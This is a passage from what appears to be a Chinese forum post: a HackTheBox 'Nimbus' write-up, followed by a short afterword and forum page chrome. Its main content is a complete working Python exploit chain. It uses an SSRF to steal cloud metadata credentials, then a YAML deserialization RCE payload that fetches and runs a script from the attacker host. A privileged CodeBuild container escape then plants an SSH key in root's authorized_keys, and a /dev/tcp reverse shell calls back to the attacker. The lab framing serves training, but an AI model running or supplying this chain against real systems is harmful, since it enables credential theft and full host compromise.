os.path.expanduser("~/.ssh/id_rsa.pub") def log(msg): print("[*] " + msg, flush=True) def ok(msg): print("[+] " + msg, flush=True) # ================= 1. SSRF -> 模拟IMDS -> 拿临时凭证 ================= def fetch_creds(): # 2852039166 = 169.254.169.254 的十进制形式(绕黑名单子串匹配) # #.yaml fragment 后缀绕过"必须 .yaml 结尾"的校验 url = "http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role#.yaml" data = urllib.parse.urlencode({"url": url}).encode() req = urllib.request.Request("http://%s/jobs/preview" % NIMBUS, data=data) html_ = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace") # 页面把凭证以 Python dict repr 形式包在 <pre> 里,且单引号被转义成 ' m = re.search(r"<pre[^>]*>(.*?)</pre>", html_, re.S) if not m: raise RuntimeError("SSRF 未取到凭证,响应片段: " + html_[:300]) d = ast.literal_eval(html.unescape(m.group(1))) return d["AccessKeyId"], d["SecretAccessKey"], d["Token"] # ================= 2. 投递通道: busybox + kali 8080 http server ================= def ensure_server(): if not os.path.exists(BB_LOCAL): log("下载静态 busybox -> %s ..." % BB_LOCAL) subprocess.run(["curl", "-s", "-m", "120", "-L", "-o", BB_LOCAL, BB_URL], check=True) subprocess.run("pkill -f 'http.server 8080' 2>/dev/null; true", shell=True) subprocess.Popen("cd /tmp && nohup python3 -m http.server 8080 --bind 0.0.0.0 " ">/dev/null 2>&1 &", shell=True) time.sleep(1) ok("投递通道就绪: http://%s:8080/ (bb2 + escape_worker.py)" % KALI) # ================= 3. worker 容器内执行的逃逸代码(SQS payload 内容) ================= # 说明: 这段 python 会被 YAML 反序列化 RCE 注入到 worker 容器里运行; # worker 容器里已有 python3 + boto3(它就是 LocalStack 的代码执行环境) ESCAPE_TMPL = r'''import boto3, uuid EP = "http://172.18.0.2:4566" # 同 docker 网络里的 LocalStack 主容器 FUNC = "() { echo uid=1000 gid=1000 groups=1000; }" # BASH_FUNC_id%% 假 id 输出 KEY = "@@KEY@@" spec = """version: 0.2 phases: build: commands: - curl -s -m 10 -o /tmp/bb http://@@KALI@@:8080/bb2 - chmod +x /tmp/bb - cd /tmp && ln -sf bb mount && ln -sf bb busybox - mkdir -p /mnt - ./mount -t ext4 /dev/sda4 /mnt && echo MOUNT-OK - mkdir -p /mnt/root/.ssh - echo '@@KEY@@' >> /mnt/root/.ssh/authorized_keys - ./busybox tail -1 /mnt/root/.ssh/authorized_keys | ./busybox cut -c1-30 - echo ESCAPE-DONE && exit 1 """ cb = boto3.client("codebuild", endpoint_url=EP, region_name="us-east-1", aws_access_key_id="test", aws_secret_access_key="test") p = "escp-" + uuid.uuid4().hex[:6] cb.create_project( name=p, source={"type": "NO_SOURCE"}, environment={"type": "LINUX_CONTAINER", "image": "floci/floci:latest", "computeType": "BUILD_GENERAL1_SMALL", "privilegedMode": True, "environmentVariables": [{"name": "BASH_FUNC_id%%", "value": FUNC}]}, serviceRole="arn:aws:iam::847219365028:role/codebuild-role", artifacts={"type": "NO_ARTIFACTS"}) r = cb.start_build(projectName=p, buildspecOverride=spec, environmentVariablesOverride=[{"name": "BASH_FUNC_id%%", "value": FUNC}]) print("BUILD:", r["build"]["id"]) ''' def inject(pubkey): esc = ESCAPE_TMPL.replace("@@KEY@@", pubkey).replace("@@KALI@@", KALI) open("/tmp/escape_worker.py", "w").write(esc) # worker 容器内: 下载 escape 脚本并执行(YAML 反序列化 RCE 的载荷) cmd = "curl -s -m 20 -o /tmp/e.py http://%s:8080/escape_worker.py && python3 /tmp/e.py" % KALI body = '!!python/object/apply:subprocess.Popen [["/bin/bash", "-c", "%s"]]' % cmd ak, sk, tok = fetch_creds() env = os.environ.copy() env.update(AWS_ACCESS_KEY_ID=ak, AWS_SECRET_ACCESS_KEY=sk, AWS_SESSION_TOKEN=tok) subprocess.run(["aws", "sqs", "send-message", "--region", "us-east-1", "--queue-url", "http://%s/847219365028/nimbus-jobs" % NIMBUS_AWS, "--message-body", body, "--endpoint-url", "http://%s" % NIMBUS_AWS], env=env, check=True) ok("SQS payload 已投递(触发 worker 容器执行逃逸)") # ================= 4. SSH root 就绪检查 ================= def ssh_root(): try: out = subprocess.run( ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10", "-i", os.path.expanduser("~/.ssh/id_rsa"), "root@%s" % NIMBUS, "id; hostname"], capture_output=True, text=True, timeout=30).stdout return out except Exception: return "" # ================= 5. 触发宿主机反弹 shell -> kali:6001 ================= def rev_trigger(): # ssh 远程命令: nohup 后台起 bash,回连 kali 的 6001 端口 cmd = ("nohup bash -c 'exec 3<>/dev/tcp/%s/%d; bash -i <&3 >&3 2>&3' " ">/dev/null 2>&1 &" % (KALI, PORT)) subprocess.Popen(["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10", "-i", os.path.expanduser("~/.ssh/id_rsa"), "root@%s" % NIMBUS, cmd]) time.sleep(2) if __name__ == "__main__": if not os.path.exists(KEYFILE): sys.exit("[-] 缺少公钥文件 %s(脚本会把它的内容写入目标 root)" % KEYFILE) log("目标: %s 反弹 shell: %s:%d" % (NIMBUS, KALI, PORT)) ensure_server() log("SSRF -> 模拟IMDS 获取 nimbus-web-role 临时凭证 ...") pubkey = open(KEYFILE).read().strip() inject(pubkey) log("等待 worker 处理 + CodeBuild 逃逸 (约 40-60s) ...") for i in range(8): time.sleep(12 if i < 3 else 15) out = ssh_root() if "uid=0(root)" in out: ok("宿主机 root SSH 就绪: " + out.strip().replace("\n", " / ")) flags = subprocess.run( ["ssh", "-o", "StrictHostKeyChecking=no", "-i", os.path.expanduser("~/.ssh/id_rsa"), "root@%s" % NIMBUS, "cat /root/root.txt; cat /home/marcus/user.txt"], capture_output=True, text=True, timeout=30).stdout print(" root.txt : " + flags.split()[0] if flags.strip() else " (root.txt 读取失败)") try: print(" user.txt : " + flags.split()[1]) except IndexError: pass log("触发宿主机反弹 shell -> %s:%d ..." % (KALI, PORT)) rev_trigger() log("接入 root shell(直接敲命令,输入 exit 退出)...") os.system("nc -lvnp %d" % PORT) sys.exit(0) sys.exit("[-] 超时未拿到 root,检查: ① /etc/hosts ② kali 8080 是否可被靶机访问 ③ ~/.ssh/id_rsa.pub") ``` # 后记 做这道题题目的时候我其实对aws服务、LocalStack这些概念完全没有了解,可能也就aws接触了一下aws的s3桶。容器逃逸页见得少,越学越感觉自己什么都不会  想着做了这么多的靶机,水平应该有点长进吧,结果一做一个不吱声,只能慢慢查资料慢慢了解慢慢学习。(花了三天时间尝试自己做靶机完全啃不动后不得不请出ai大手子,今天又花了一天实现完成wp撰写) 不得不说现在有ai还有agent,很多东西自己实在不会了让他们干活就行。最重要的是,**他们干完可以对你说技术细节与思路细节**,题目做完还有个啥都懂的老师给你讲题。 不过,未来ai会不会把渗透这碗饭也抢走呢,哈哈。 
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
PayPoc
你的分享对大家帮助很大,非常感谢!
2026-8-14 10:10
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
mb_spjlagub
雪 币:
24
活跃值:
(40)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
6
粉丝
0
关注
私信
mb_spjlagub
2
楼
大佬文章写的太硬核了!我手头有一个 Web 系统需要做接口协议分析与安全审计兼职项目(按阶段/节点付费,待遇优厚),诚意邀请合作。大佬如果有意向兼职,方便邮件联系我吗:374634139@qq.com
2026-8-23 14:00
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Fulucky0
1
5
发帖
2
回帖
70
RANK
关注
私信
他的文章
[原创]HTB Nimbus渗透测试靶机 Writeup
2630
[原创] 2026软件安全赛现场赛writeup-web方向
9406
[原创]HTB Principal渗透测试题目 writeup
2404
[原创]软件安全赛-2026-writeup NPUSEC
14629
[原创]CISCN-2025-初赛writeup NPUSEC
17036
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部